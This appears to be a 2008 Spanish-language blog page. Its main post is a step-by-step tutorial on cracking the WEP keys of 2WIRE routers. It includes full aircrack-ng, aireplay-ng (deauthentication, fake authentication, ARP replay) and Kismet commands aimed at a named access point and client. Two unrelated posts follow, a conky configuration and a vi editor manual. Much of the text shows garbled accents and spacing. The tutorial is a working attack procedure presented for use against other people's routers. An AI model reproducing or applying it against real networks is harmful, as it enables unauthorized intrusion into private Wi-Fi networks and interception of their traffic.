29 enero, 2008

Cracking 2WIRE's Routers by Crypkey

Cracking 2WIRE's Routers by Crypkey

< crypkey at gmail dot com >

Jorge Trujillo www.zonartm.org

==========================================================



Index

0.- Introducci~n

1.- Entendiendo W3P

2.- Requerimientos

3.- Configurando e instalando

4.- 2W1R3 W3P 0wn3d!

5.- Agradecimientos

6.- Referencias



Introducci~n



RTM Security no se hace responsable por el uso de este documento, este texto
esta tiene como lucro la educaci~n y el conocimiento.

Este documento primero da una pequeña introducci~n al algoritmo de cifrado
W3P que usan la mayor~a de los routers, un buen ejemplo son los famosos
2WIRE's. Entender~n que es W3P, como funciona y por que es tan vulnerable.
Asimismo el documento esta enfocado en el cracking de la llave WEP de
routers 2WIRE's con una tarjeta wireless y un programa que mas adelante se
hablara.

1.- Entendiendo
WEP Bueno vamos a dar una pequeña introducci~n a WEP de su funcionamiento
entre otras cosas que ver~n a continuaci~n. WEP (Wired Equivalent Privacy) es el algoritmo opcional de seguridad para brinda r "protecci~n " a las redes inal~mbricas, incluido en la primera versi~n del est~ndar IEEE 802.11, mantenido sin cambios en las nuevas 802,11a
y 802.11b, con el fin de garantizar compatibilidad entre distintos
fabricantes.

El WEP es un sistema de cifrado est~ndar implementado en la
MAC y soportado por la mayor~a de las soluciones inal~mbricas, supongo que
hasta aqu~ vamos bien, pasemos a la parte de cifrado.

Cifrado:
WEP utiliza una clave secreta compartida entre una estaci~n inal~mbrica
Illustrated, Volume 1 The Protocols (Richard Stevens, Addison-Wesley)
y un punto de acceso. Todos los datos enviados y recibidos entre la estaci~n y el
punto de acceso pueden ser cifrados utilizando esta clave compartida. El est~ndar
802.11 no especifica c~mo se establece la clave secreta, pero permite que haya
una tabla que asocie una clave exclusiva con cada estaci~n. En la pr~ctica
general, sin embargo, una misma clave es compartida entre todas las estaciones y
puntos de acceso de un sistema dado.

Para proteger el texto cifrado frente a modificaciones no autorizadas mientras
est~ en tr~nsito, WEP aplica un algoritmo de comprobaci~n de integridad
(CRC-32) al texto en claro, lo que genera un valor de comprobaci~n de
integridad (ICV). Dicho valor de comprobaci~n de integridad se concatena con el
texto en claro. El valor de comprobaci~n de integridad es, de hecho, una
especie de huella digital del texto en claro. El valor ICV se añade al texto
cifrado y se env~a al receptor junto con el vector de inicializaci~n. El
receptor combina el texto cifrado con el flujo de clave para recuperar el
texto en claro. Al aplicar el algoritmo de integridad al texto en claro y
comparar la salida con el vector ICV recibido, se puede verificar que el
proceso de descifrado ha sido correcto ~ que los datos han sido
corrompidos. Si los dos valores de ICV son id~nticos, el mensaje ser~
autenticado y woala!

Autenticaci~n:

WEP proporciona dos tipos de autenticaci~n: un sistema abierto, en el que todos
los usuarios tienen permiso para acceder a la WLAN, y una autenticaci~n mediante
clave compartida, que controla el acceso a la WLAN y evita accesos no autorizados
a la red. De los dos niveles, la autenticaci~n mediante clave compartida es el
modo "seguro ". E n ~l se utiliza una clave secreta com partid a entre tod as las
estaciones y puntos de acceso del sistema WLAN. Cuando una estaci~n trata de
conectarse con un punto de acceso, ~ste replica con un texto aleatorio, que
constituye el challenge. La estaci~n debe utilizar la copia de su clave secreta
compartida para cifrar el texto de desaf~o y devolverlo al punto de acceso, con
el fin de autenticarse. El punto de acceso descifra la respuesta utilizando la
misma clave compartida y compara con el texto de desaf~o enviado anteriormente.
Si los dos textos son id~nticos, el punto de acceso env~a un mensaje de
confirmaci~n a la estaci~n y la acepta dentro de la red. Si la estaci~n no
dispone de una clave, o si env~a una respuesta incorrecta, el punto de acceso la
rechaza, evitando que la estaci~n acceda a la red.

Es bueno asegurarse de que WEP est~ habilitado siempre que se requiera un
mecanismo de autenticaci~n seguro. Incluso, aunque est~ habilitada la
autenticaci~n mediante clave compartida, todas las estaciones inal~mbricas de
un sistema WLAN pueden tener la misma clave compartida, dependiendo de c~mo
se haya instalado el sistema.

En tales redes, no es posible realizar una autenticaci~n individualizada;
todos los usuarios, incluyendo los no autorizados, que dispongan de la
clave compartida podr~n acceder a la red. Esta debilidad puede tener
como resultado accesos no autorizados, especialmente si el sistema incluye
un gran n~mero de usuarios. Cuantos m~s usuarios haya, mayor ser~ la
probabilidad de que la clave compartida pueda caer en manos inadecuadas, que
es lo que haremos en el capitulo 4, pero veamos un poco mas de WEP y su
algoritmo.

Algoritmos

El algoritmo de encriptaci~n utilizado es RC4 con claves (seed), seg~n el
est~ndar, de 64 bits. Estos 64 bits est~n formados por 24 bits
correspondientes al vector de inicializaci~n m~s 40 bits de la clave secreta.
Los 40 bits son los que se deben distribuir manualmente.

Veamos con funciona WEP:

1. Se calcula un CRC de 32 bits de los datos. Este CRC-32 es el metodo que
propone WEP para garantizar la integridad de los mensajes (ICV,
Integrity Check Value).

2. Se concatena la clave secreta a continuaci~n del IV formado el seed.

3. El PRNG (Pseudo-Random Number Generator) de RC4 genera una secuencia de
caracteres pseudoaleatorios (keystream) a partir del seed de la misma longitud
que los bits obtenidos en el punto 1.

4. Se calcula la O exclusiva (XOR) de los caracteres del
punto 1 con los del punto 3. El resultado es el mensaje cifrado.

5. Se env~a el IV (sin cifrar) y el mensaje cifrado dentro del campo de datos
(frame body) de la trama IEEE 802.11.
ver [ crack_wep-000001 ]
El algoritmo para descifrar es similar al anterior. Debido a que el otro extremo
conocer~ el IV y la clave secreta, tendr~ entonces el seed y con ello podr~
generar el keystream. Realizando el XOR entre los datos recibidos y el keystream
se obtendr~ el mensaje sin cifrar (datos y CRC-32), luego se comprueba que el
CRC-32 es correcto.
Ahora veamos por que WEP es vulnerable, que hace que teniendo cualquier numero
de bits de key se pueda romper, as~ que analicemos un poco m~s a fondo esto.

Vulnerabilidad WEP

La implementaci~n del vector de inicializaci~n (IV) en el algoritmo WEP tiene
varios problemas de seguridad. Recordemos que el IV es la parte que var~a de
la clave (seed) para impedir que un posible atacante recopile suficiente
informaci~n cifrada con una misma clave.

Sin embargo, el est~ndar 802.11 no especifica c~mo manejar el IV; se
indica que deber~a cambiarse en cada trama para mejorar la privacidad, pero no
obliga a ello. Queda abierta a los fabricantes la cuesti~n de c~mo variar el
IV en sus productos. La consecuencia de esto es que buena parte de las
implementaciones optan por una soluci~n sencilla: cada vez que arranca una
tarjeta wireless, se fija el IV a 0 y se incrementa en 1 para cada trama. Esto
ocasiona que las primeras combinaciones de IVs y clave secreta se repitan muy
frecuentemente. M~s a~n, si tenemos en cuenta que cada estaci~n utiliza la
misma clave secreta, por lo que las tramas con igual clave se multiplican en el
medio. Por otro lado, el n~mero de IVs diferentes no es demasiado elevado
(2^24=16 millones aprox.), por lo que terminar~n repiti~ndose en cuesti~n de
minutos u horas. El tiempo ser~ menor cuanto mayor sea la carga de la red. Lo
ideal ser~a que el IV no se repitiese nunca, pero como vemos, esto es imposible
en WEP. La cantidad de veces que se repite un mismo IV depender~ de la
implementaci~n elegida para variar el IV por el fabricante (secuencial,
aleatoria, etc.) y de la carga de la red.

La longitud de 24 bits para el IV forma parte del est~ndar y no puede cambiarse;
existen implementaciones con claves de 128 bits (lo que se conoce como WEP2),
sin embargo, en realidad lo ~nico que se aumenta es la clave secreta (104 bits)
pero el IV se conserva con 24 bits. El aumento de la longitud de la clave
secreta no soluciona la debilidad del IV.

Si se han capturado varias tramas con igual IV, es decir, con igual keystream,
solo se necesita conocer el mensaje sin cifrar de una de ellas, haciendo el XOR
entre un mensaje sin cifrar y el mismo cifrado, nos dar~ el keystream para
ese IV. Conociendo el keystream asociado a un IV, se puede descifrar todas las
tramas que usen el m ism o IV y asi poder descifrar la grandiosa "shared key".

Espero que no se hayan perdido, aunque me parece muy facil de entender todo lo
que se explico sobre WEP y ya una ves entendido como funciona este sistema de
cifrado pasemos a la parte interesante de este documento donde se demuestra como
romper la llave de los famosos routers 2WIRE de prodigy infinitum y en dicho
caso de cualquier router con WEP habilitado.

2.- Requerimientos

Antes de empezar todo este rollo, veamos lo que necesitan para romper una
llave WEP, asi que revisemos lo que necesitamos y los puntos que est~n
en negritas es que son sumamente importantes:

1 .- Sistema Linux ( Mandriva, Gentoo, Ubuntu, Backtrack etc. )

2.- Tener un 2WIRE Access Point cercano o al menos con buena señal.

3.- Tarjeta inalambrica con chip Atheros o compatible con packet injection y

monitor mode.

4.- Aircrack instalado ( http://www.aircrack-ng.org )

5.- Suerte y paciencia.

Si necesitan saber que tarjeta comprar vayan a la siguiente pagina web:
http://aircrack-ng.org/doku.php?id=faq#which_is_the_best_card_to_buy
Si necesitan saber si su tarjeta es compatible con el paquete aircrack vayan a la

siguiente pagina web:



http://aircrack-ng.org/doku.php?id=compatibility

No tienen idea por que no funciona su tarjeta o que demonios pasa con
aircrack, vayan a las siguientes paginas web y pregunten sus dudas:
http://www.zonartm.org/board
http://forum.tinyshell.be/
http://madwifi.org/report

Asi que si tiene cualquier duda sobre cual es la mejor distribuci~n, cuanto
cuestan las tarjetas o si esta tarjeta que voy a comprar soporta lo que me
piden etc. No duden en preguntar en el foro de RTM Security o en dicho caso
mandarme un mail, asi que no tengan pena por preguntar.

Ya una ves dicho todo esto, espero que cumplan con todos los requerimientos
que se piden, que no son muchos, igual lo mas complicado de encontrar
seria la tarjeta wireless, pero pueden buscar en buscadores como google,
foros etc.

Pasemos a la parte donde se configura la tarjeta wireless y as~ como aplicando
el patch para que soporte packet injection. En cuanto a aircrack no creo
que haya mucho problema con la instalaci~n pero lo revisaremos de todos modos.

3.- Configurando e Instalando

Bueno ya para hacer esto r~pido, vamos al grano. En este caso estoy usando una
tarjeta Atheros con un chip Atheros ( AR5006EG ) y Ubuntu. El controlador para
esta tarjeta es madwifi y su ultima versi~n es 0.9.2 y necesitamos aplicar el
patch que aircrack nos da para poder realizar packet injection ( que despu~s
veremos ) para poder realizar nuestros ataques, vamos por pasos para que no se
pierdan:

1.- Abran su terminal y pongan sudo -H ­s (metan su contraseña) para convertirse

en root.
2.- ifconfig ath0 down
3.- rmmod ath_pci ath_rate_sample ath_hal wlan_scan_sta wlan 2>/dev/null
4.- svn checkout http://svn.madwifi.org/trunk/ madwifi-ng o bajen el snapshot directo de la pagina
5.- wget http://patches.aircrack-ng.org/madwifi-ng-r1679.patch
6.- cd madwifi-ng ; patch -Np1 -i ../madwifi-ng-r1679.patch
7.- make ; make install
8.- Si la instalaci~n les pide rem over los m ~dulos anteriores o viejos presionen "r".
9.- depmod -ae ; modprobe ath_pci
10.- A veces es recomendable reiniciar el sistema.

Ahora vamos a instalar aircrack ;)

1.- Abran su terminal
2.- wget http://download.aircrack-ng.org/aircrack-ng-0.6.2.tar.gz
3.- cd aircrack-ng-0.6.1
4.- ./configure ; make
5.- sudo make install
6.- Prueben si ya esta instalado:

pongan en la terminal aircrack-ng

Y espero que todo les haya salido muy bien para poder llegar a la siguiente
configuraci~n de la tarjeta que es ponerla en Monitor Mode, pero primero debemos
saber en que canal esta el router 2WIRE as~ que primero hagamos lo
siguiente:



1.- ifconfig ath0 up

2.- iwlist ath0 scan

3.- El canal se vera en esta l~nea Frequency:2.437 GHz (Channel 6) < - Ejemplo



Ya sabemos el canal del AP, as~ que usemos ahora airmon-ng:



1.- airmon-ng start ath0 6

2.- Se creara una interfaz llamada ath1

3.- E n otras tarjetas sim plem ente pongan "iw config ethX m ode m onitor" y aparecer~

Mode: Monitor.



Nota: En el primer p aso ten g an en cu en ta q u e yo p u se el n u m ero "6" p

or q u e ese es el can al el cu al el Access Point esta transmitiendo, asi que

puede variar en el suyo.

En caso de que no funcione el monitor mode de airmon-ng como de costumbre

vamos hacerlo a mano.



1.- wlanconfig ath create wlandev wifi0 wlanmode monitor ; ifconfig ath1 up

2.- echo '804' > /proc/sys/net/ath0/dev_type

3.- Verifiquen el Monitor mode en ath1



Hasta ahora lo ~nico que hemos hecho es configurar nuestra tarjeta inal~mbrica

para soportar packet injection, as~ como tambi~n instalar aircrack, el software

para romper la llave WEP y por ultimo simplemente poner nuestra tarjeta en el

canal del Access Point y en modo Monitor. Ahora si empecemos con la parte

interesante de este documento.



4.- 0wn1ng W3P



Ahora si han de decir, por fin la parte buena. Pues si, de hecho si esta es la

parte mas interesante y me parece donde a la mayor~a les interesa, as~ que

empecemos de una ves. Yo creo que son pocos los pasos que se tiene que seguir

para poder crackear esta madre, empecemos con abrir su terminal y hacemos un

sudo -H -s para convertirnos en root (recuerden ya debemos tener nuestra

interfaz inal~mbrica en m odo "M on itor"). S i quieren pueden crear una

carpeta llamada WEP para tener ah~ los IVS y los archivos que vayamos generando

;). Lo que hare primero para ver si hay clientes asociados con el Access

Point 2WIRE yo utilizo Kismet ya que es mas preciso que el paquete airodump-ng

para ver los clientes asociados aunque algunos prefieres airodump-ng, en

fin como ustedes quieran.







Nota: Aviso que puede tomar horas el recoger 300,000 IV's, asi que

tengan paciencia.

1.- mkdir wep

2.- nano /etc/kismet/kismet.conf

3.- E ditar la linea source de la siguiente manera; "source= m adw ifi_ag,w ifi0,atheros"



Nota:

madwifi_ag puede variar por el soporte que tenga su tarjeta vean README para

poder ver exactamente que sourcetype tienen.



4.- ejecutamos: kismet y tengan a la mano una l~piz o abran un nuevo documento

para ir pegando los datos. Oprimim os la letra "S " y despu~s elegimos la

opci~n "w ".



5.- Veremos la pantalla siguiente: Por razones de privacidad los

nombres ESSID,BSSID, IP's, MAC address, etc.. cambiaran de nombre.



ver [ crack_wep-000008 ]



6.- Despu~s podemos movernos con las flechas arriba, abajo sobre los Access

Point que detecta kismet, elegim os en este caso "IN F IN IT U M X X X " y oprim

im os la tecla "enter" qu e nos m ostrara la informaci~n del Access Point, en

este caso el BSSID.



Nota: Podemos tambi~n poner un lock channel con Kismet para que solo la interfaz escuche

conexiones en el canal que queramos, hay que hacer un Lock, oprimimos Shift+L y listo.



ver [ crack_wep-000009 ]





7.- Anotamos el BSSID del Access Point en este caso usare: 00:13:95:D5:F1:31 en

donde quieran en un archivo gedit o abran una nueva term inal y abran "nan o w

hatever" y ah~ peguen el BSSID, que ser~ de buen uso despu~s.







8.- Hay que volver al men~ principal solo oprim an la tecla "q" y regresaran, a

hora sobre el mismo Access Point que hab~amos elegido ahora apretamos la tecla

"c" y verem os los clientes conectados al Access Point.



ver [ crack_wep-000010 ]





9.- H ay que anotar de nuevo en tu archivo "w hatever" que creaste o donde este

peg ando todo los datos, la MAC del cliente que esta conectado al AP. En este

caso utilizaremos 00:0C:F9:4E:42:A2



10.- Ahora algunos dir~n ¿ que dem onios es la "T " que ap arece a lado del M

ac Address? y por que abajo hay una "F ", buen o si presionan "h " podr~n ver su

respuesta, pero para ahorrarles tiempo F significa el cliente esta en LAN o

por cablecito y cuando vean una "T " o "E " p or lo regular son clientes

conectados por wireless, al parecer aqui tenemos 2 clientes conectados

mediante cable, as~ que no creo que sean muy ~til por lo tanto haremos un

falsificaci~n de un usuario al AP para as~ poder realizar nuestros

ataques. Pero primero pasemos a la etapa de cuando si tienen clientes

conectado mediante wireless y usaremos la misma MAC para el ejemplo.





11.- Pueden dejar su kismet abierto para ver si los clientes se desconectan o

que nuevos clientes se conectan tambi~n, pero si gustan pueden cerrar su

kismet y cuando corramos airodump-ng tambi~n podremos ver los clientes

conectados con al AP.



Cracking 2WIRE's con clientes (si no tienen, s~ltense todo esto) Lo primero que

debemos tener es a mano las MAC Address que tomamos de nuestro hermoso kismet as~

como tambi~n el BSSID del Access Point que vamos a crackear ;). En este caso

utilizaremos la BSSID 00:13:95:D5:F1:31 y nuestro cliente 00:0C:F9:4E:42:A2.



1.- Abrimos nuestra terminal y ejecutamos: airodump-ng --ivs -w ownage-c 6 ath1



"airodum p-n g " es nuestro sniffe r que capturara los paquetes IVs para poder

crackear la clave ;).



"---ivs" es la sentencia para capturar solo paquetes IV S .



"-w" es para escribir el nom bre del archivo donde se guardara n todos esos

paquetes.

"-c" es el canal donde espec~ficamente esta al AP, en este caso el

canal 6.



"ath1" en este caso es la interfaz que tenem os en m odo Monitor.



Mantengan esta ventana abierta y vean el numero de paquetes o datos que va

enviando el cliente al AP, esto son los IV's, pero para hacer mas r~pido el

cracking de la llave seguiremos con lo siguiente.



2.- Abrimos una solapa dentro

de la terminal u otra terminal, como gusten, y escriban PERO NO EJECUTEN:



aireplay-ng -e INFINITUM -a 00:13:95:D5:F1:31 -c 00:0C:F9:4E:42:A2 --deauth 10 ath1



"aireplay-ng " es nuestro program a que inyecta paquetes al A P para generar

trafico (IV ' s)

"-e IN F IN IT U M " en esta opci~n especificamos el nombre del

ESSID del AP.



"-a 00:13:95:D5:F1:31" la B S S ID o M ac A ddress de nuestro A ccess P oint.



"-c 00:0C:F9:4E:42:A2" nuestro cliente que inyectara paquetes.



"--deauth 10 " el ataque que haremos que es una deautentificaci~n al cliente

conectado 10 veces.



"ath1" la interfaz en monitor mode.



3.- Abrimos otra solapa y lo que haremos a continuaci~n es generar trafico

con el Access Point para generar IV's pretendiendo ser el cliente conectado realmente

ejecutamos:



aireplay-ng --arpreplay -b 00:13:95:D5:F1:31 -h 00:0C:F9:4E:42:A2 ath1



"aireplay-ng " nuestro program a que inyecta paquetes para generar trafico.



"--arpreplay" nuestro tipo de ataque que es el inyectar paquetes ARP ,conteniend o IV ' s.





"-b 00:13:95:D5:F1:31" B S S ID o M ac A ddress del A P .

"-h 00:0C:F9:4E:42:A2" M ac A ddress del cliente conectado al A P .

"ath1" la interfaz en m onitor m ode.



Ejecutamos este comando y lo que veremos es lo sig.



ver [ crack_wep-000012 ]



Cuando ya lo hayan ejecutado v~yanse a la solapa donde dejaron el comando para

deautentificar al cliente conectado al AP y ejec~tenlo. Despu~s de eso ver~n

como los ARP requests en la solapa de arriba empezaran a aumentar y llegaran

paquetes a lo loco generando los IV's necesarios para crackear la cuenta.





4.- Cuando

sientan ustedes que ya hayan captura los IV's necesarios ejecuten, en este caso a

mi me tomo solo juntar 300,000 IV's para crackear la llave de 64 bits que por

default tienen los m~dems 2WIRE: aircrack-ng -f 4 -m 00:13:95:D5:F1:31 -n 64

*.ivs



"aircrack-ng " nuestro program a que hace el cracking de la llave.



"-f 4" llam ado fudge qu e al aum entar su valor, aum entam os la posibilidad de tener

la llave.



"-m " nu estra M ac A ddress del A P .



"-n 64 " los bits de la llave, en este caso los 2WIRE por default tienen 64 bits.



"*.ivs" todos los archivos ivs generados.



Ejecuten y BINGO! Wep Key Found!



ver [ crack_wep-000012 ]





Cracking 2WIRE's sin clientes



Pr~cticamente son casi los mismos pasos pero solo cambiaremos un poco. Otra vez utilizaremos la BSSID

00:13:95:D5:F1:31 y nuestro cliente 00:0C:F9:4E:42:A2.



1.- Abrimos nuestra terminal y ejecutamos: airodump-ng --ivs -w ownage-c 6 ath1



"airodum p-n g " es nuestro sniffer que capturara los paquetes ivs para poder crackear la cla ve ;).



"---ivs" es la sentencia para capturar solo paquetes IV S .



"-w " es para escribir el nom bre del archivo donde se guardara n todos esos paquetes.



"-c" es el canal donde espec~ficamente esta al AP, en este caso el canal 6.



"ath1" en este caso es la interfaz que tenemos en modo Monitor.



2.- Abrimos una solapa dentro de la terminal y ejecuten:

aireplay-ng -e INFINITUM -a 00:13:95:D5:F1:31 -h 00:11:22:33:44:55 ­fakeauth 30 ath1



"aireplay-ng " es nuestro program a que inyecta paquetes al AP para generar trafico (IV's)



"-e IN F IN IT U M " en esta opci~n especificamos el nombre del ESSID del AP.



"-a 00:13:95:D5:F1:31" la B S S ID o M ac A ddress de nuestro A ccess P oint.



"-h 00:0C:F9:4E:42:A2" M ac A ddress falsa que crearemos y autentificaremos con el AP..



"--fakeauth" el ataque que harem os que es una autentificaci~n falsa con el AP para as~ poder

inyectar paquetes con este cliente falso.



"ath1" nuestra interfaz en m onitor mode.



ver [ crack_wep-000013 ]



3.- Abrimos otra solapa y lo que haremos a continuaci~n es generar trafico con

el Access Point para generar IV's pretendiendo ser el cliente conectado

realmente ejecutamos:



aireplay-ng --arpreplay -b 00:13:95:D5:F1:31 -h 00:0C:F9:4E:42:A2 ath1



"aireplay-ng " nuestro programa que inyecta paquetes para generar trafico.



"--arpreplay" nuestro tipo de ataque que es el inyectar paquetes ARP, conteniend o IV ' s.



"-b 00:13:95:D5:F1:31" B S S ID o M ac A ddress del A P .



"-h 00:0C:F9:4E:42:A2" M ac A ddress del cliente conectado al AP.



"ath1" la interfaz en m onitor m ode. Solo es cuesti~n de tiempo para que vean el aumento

de sus ARP, pero puede tomar tiempo.



4.- Cuando sientan ustedes que ya hayan capturado los IV's necesarios ejecuten,

en este caso a mi me tomo solo juntar 300,000 IV's para crackear la llave

de 64 bits que por default tienen los m~dems 2WIRE: aircrack-ng -f 4 -m

00:13:95:D5:F1:31 -n 64 *.ivs



"aircrack-ng " nuestro program a que hace el cracking de la llave.



"-f 4" llam ado fudge que al aumentar su valor, aumentamos la posibilidad de tener la llave.



"-m " nu estra M ac A ddress del A P .



"-n 64 " los bits de la llave, en este caso los 2WIRE por default tienen 64 bits.



"*.ivs" todos los archivos ivs generados. Ejecuten y BINGO! Wep Key Found!



Agradecimientos



Bueno mas que nada les quiero mandar un saludo a Alt3kx, bro, nitr0us, OpTix, fdisk,

dex, todo RTM.



As~ que pues ojala puedan hacer un feedback del documento y que RTM

Security siga creciendo.





Saludos a Todos!



Referencias



Experiencia Propia ;D

Coldfisher, "W ireless S ecurity Black Paper", 2006

Javier Sierra; Leonardo Betancourt, "Protocolo de Seguridad WEP", 2005

http://www.wi-fiplanet.com/tutorials/article.php/1368661

11 enero, 2008

conky

otravez conky! este es el $home .conkyrc ( LE AGREGE LO DE LA BATERIA )
Free Image Hosting at www.ImageShack.us

background yes
cpu_avg_samples 2
net_avg_samples 2
out_to_console yes
use_xft yesf
xftfont Tahoma Mono:size=6
own_window yes
own_window_transparent yes
own_window_hints undecorated,below,sticky,skip_taskbar,skip_pager
own_window_type normal
xftalpha 0.8
update_interval 1.0
double_buffer yes
minimum_size 10 10
maximum_width 320
draw_shades no
draw_outline yes
draw_borders no
stippled_borders 2
border_width 0
alignment bottom_left
use_spacer yes
no_buffers yes
uppercase no


TEXT
${color purple}La tostadora de Neo: $kernel

${color red}CPU $color ${cpu cpu1}% ${color yellow}Uptime:$color $uptime ${color red} Temp: $color ${acpitemp}cº
${color green}${cpugraph cpu1 78af78 a3a3a3}
${color green}Procs:$color $processes ${color green}Running:$color $running_processes
${color green}Ram:
$color $mem/$memmax - ${color white}$memperc% $membar
${color #00ff00}Swap Usado:
$color $swap/$swapmax - ${color red}$swapperc% ${swapbar}
${color red}Espacio libre:
${color}Raiz ${color}${fs_used /}/${fs_size /}${alignr}${color green}${fs_bar 5,120 /}
${color}/home ${color}${fs_used /home}/${fs_size /home}${alignr}${color green}${fs_bar 5,120 /home}

${color yellow}CPU Activos:
${color green}Name PID CPU% MEM%
$color ${top name 1} ${top pid 1} ${top cpu 1} ${top mem 1}
$color ${top name 2} ${top pid 2} ${top cpu 2} ${top mem 2}
$color ${top name 3} ${top pid 3} ${top cpu 3} ${top mem 3}
$color ${top name 4} ${top pid 4} ${top cpu 4} ${top mem 4}
$color ${top name 5} ${top pid 5} ${top cpu 5} ${top mem 5}

${color #00ff00}RAM Activos:
$color ${top_mem name 1} ${top_mem pid 1} ${top_mem cpu 1} ${top_mem mem 1}
$color ${top_mem name 2} ${top_mem pid 2} ${top_mem cpu 2} ${top_mem mem 2}
$color ${top_mem name 3} ${top_mem pid 3} ${top_mem cpu 3} ${top_mem mem 3}
$color ${top_mem name 4} ${top_mem pid 4} ${top_mem cpu 4} ${top_mem mem 4}
$color ${top_mem name 5} ${top_mem pid 5} ${top_mem cpu 5} ${top_mem mem 5}

${color green}Ethernet: eth0 - ${addr eth0}
${color red}Net Down: ${downspeed eth0} k/s${color green} ${offset 62}Net Up:$color ${upspeed eth0} k/s
${color purple}${downspeedgraph eth0 32,150 104E8B 0077ff} $alignr${color #0077ff}${upspeedgraph eth0 32,150 104E8B 0077ff}
${color green}WIFI: eth1 - ${addr eth1}
${color yellow}Net Down:$color ${downspeed eth1} k/s${color red} ${offset 62}Net Up:$color ${upspeed eth1} k/s
${color brown}${downspeedgraph eth1 32,150 104E8B 0077ff} $alignr${color green}${upspeedgraph eth1 32,150 104E8B 0077ff}

${color green}Port(s)${alignr}#Connexiones
$color ALL: ${alignr}$color ${tcp_portmon 1 65535 count}
$color html: ${alignr}$color ${tcp_portmon 80 80 count}
$color sshd: ${alignr}$color ${tcp_portmon 22 22 count}
$color replicator: ${alignr}$color ${tcp_portmon 8080 8080 count}
${color orange}Port(s)${alignr}#INPUT
${color purple}Remote Address ${alignr} Local Service/Port$color
${tcp_portmon 1 65535 rhost 0} ${alignr} ${tcp_portmon 1 65535 lservice 0}
${tcp_portmon 1 65535 rhost 1} ${alignr} ${tcp_portmon 1 65535 lservice 1}
${tcp_portmon 1 65535 rhost 2} ${alignr} ${tcp_portmon 1 65535 lservice 2}
${tcp_portmon 1 65535 rhost 3} ${alignr} ${tcp_portmon 1 65535 lservice 3}
${tcp_portmon 1 65535 rhost 4} ${alignr} ${tcp_portmon 1 65535 lservice 4}
${tcp_portmon 1 65535 rhost 5} ${alignr} ${tcp_portmon 1 65535 lservice 5}
${color green}Port(s)${alignr}#OUTPUT

${color green}Remote Address ${alignr} Local Service/Port$color
${tcp_portmon 1 65535 rhost 0} ${alignr} ${tcp_portmon 1 65535 rservice 0}
${tcp_portmon 1 65535 rhost 1} ${alignr} ${tcp_portmon 1 65535 rservice 1}
${tcp_portmon 1 65535 rhost 2} ${alignr} ${tcp_portmon 1 65535 rservice 2}
${tcp_portmon 1 65535 rhost 3} ${alignr} ${tcp_portmon 1 65535 rservice 3}
${tcp_portmon 1 65535 rhost 4} ${alignr} ${tcp_portmon 1 65535 rservice 4}
${tcp_portmon 1 65535 rhost 5} ${alignr} ${tcp_portmon 1 65535 rservice 5}

${color orange}batery: ${hr 2}$color
${color white}battery: ${battery}
${color white}batetery time: ${battery_time}
${color white}battery percent: %${battery_percent}

10 enero, 2008

Manual vi

Introducción:

El vi es el editor estándar de Unix. Este trabaja en modo 'full screen' . El vi tiene dos modos de trabajo:

-comandos e insercción. En el modo comandos todo lo que el usuario introduce es interpretado como un comando;

-en el modo insercción lo que el usuario introduce es tetxo qu eserá guardado en el archivo de salida.

La mejor forma de aprender a utilizar el vi es utilizándolo por ejemplo modificando un archivo existente (sea cuidadoso no edite o modifique un archivo que sea necesario, utilice un archivo de test con una copia de un archivo. Por ejemplo haga lo siguiente

% vi test

Cuando Ud entra en el editor puede salir pasando primero al modo comando. Esta acción se realiza mediante la tecla ESC el cursor bajará a la última línea y pondrá los ':' este prompt (:) indica que está en el modo comando, por ejemplo para salir descartando todas las modificaciones es q! generalmente todos los comando son la primera letra de la acción (quit en este caso) y en el caso de ! indica que sin confirmación. Si se desean salvar los cambios será w (por write) y salvar los cambios y salir wq (por write & quit).


Modo Comando

El editor se inicia en el modo comando. Hay diferentes formas de ir al modo de insercción pero siempre se regresa a este modo con la tecla de ESC. Si no se está seguro en que modo está presione el ESC hasta que oiga un beep, lo cual le indicará que está en modo comandos.

Los comandos básicos de vi son:

:wq Salvar y Salir
:q! Salir sin salvar:
a Append: Modo insertar e la siguiente posición del cursor
i Insert: Modo insertar sobre la posición del cursor
x Borra caracter bajo el cursor
dw Borra palabra
dd Borra línea
u Deshacer (Undo)
Ctrl-F Pantalla sgte.
Ctrl-B Pantalla anterior
O Inserta línea en blanco

Secuencia de comandos básicos

El vi utiliza el editor ex cuando trabaja en modo comandos y siempre es la última línea de la pantalla con el prompt : por donde se le indican los comandos al ex. Los comandos admiten repetición que indicará cuantas veces se ejecutará el comando. Por ejemplo dd borra una línea pero 4dd borrará 4 líneas. La mayoría de los comando no producen salida por display de la acción, pero si cuando la acción es finalizada, por ejemplo cunado ponga 11dd (borrar 11 líneas) el vi le dirá '11 lines deleted'.

Movimientos dentro del archivo

Ud. debe estar en modo comando para moverse dentro del archivo. Generalmente las teclas de cursor funcionan bien (pueden no funcionar si Ud. está conectado a través de un emulador de terminal - desde un PC por ejemplo - y no coincide la variable TERM de Unix con la que Ud. está emulando, solución: cambie la variable TERM con -en csh- setenv TERM vt100 -en sh- TERM=vt100 export TERM y en el emulador seleccione como terminal vt100). Si Ud. está en modo insertar y presiona las teclas de cursor le insertará el caracter que ellas representan. Presionando la tecla RETURN se moverá a la siguiente línea. La tabla siguiente muestra los movimientos más comunes:

Return Siguiente línea
j Siguiente línea
k Línea previa
l Siguiente caracter
h Caracter anterior
Ctrl-F Pantalla siguiente
Ctrl-B Pantalla anterior
Ctrl-D Media pantalla siguiente
Ctrl-U Media pantalla anterior
[[ Inicio documento
]] Fin documento
nG Ir a línea n
w una palabra a la derecha
b una palabra a la izquierda
{ fin párrafo
} fin párrafo anterior
/string Busca string

Para ir a la línea 10 introduzca 10G (si sólo introduce G se moverá hasta el final del archivo). Para averiguaren que línea está presione Ctrl-G. Las palabras, sentencias, y párrafos tienen especial significado para el vi y existen comandos para moverse a través de ellas. Una palabra es cualquier caracter delimitado por blancos o puntuación y también cada símbolo de puntuación es una palabra. Sin embargo si Ud. utiliza la mayúcula del comando de movimiento se saltará la puntuación, por ejemplo B es lo mismo que b y mueve el cursor una palabra hacia atrás pero si hay un punto b se parará aqui pero B no.

Una sentecia es un string con un punto final y dos espacios en blanco. Con ) y ( Ud. se moverá hacia adelante una sentencia o hacia atrás respectivamente.

Un párrafo es el que termina con dos Return.

Búsqueda de strings

Las búquedas se realizarán en modo comando y para iniciarla debe presionar /. Esto causará que el cursor baje a la línea inferior, indique el string a buscar finalizando con un Return. Si desea buscar en orden inverso presione ? en vez de /.


Modo texto

Antes de ir al modo texto recordar que siempre se sale de él mediante un . La tabla siguiente muestra los

comando básicos para pasar a modo texto.

a append inserta después del caracter sobre el cual estamos
i insert antes de caracter sobre el que estamos
A append al final de la línea actual
I insert antes del 1º caracter diferente de espacio en la línea corriente
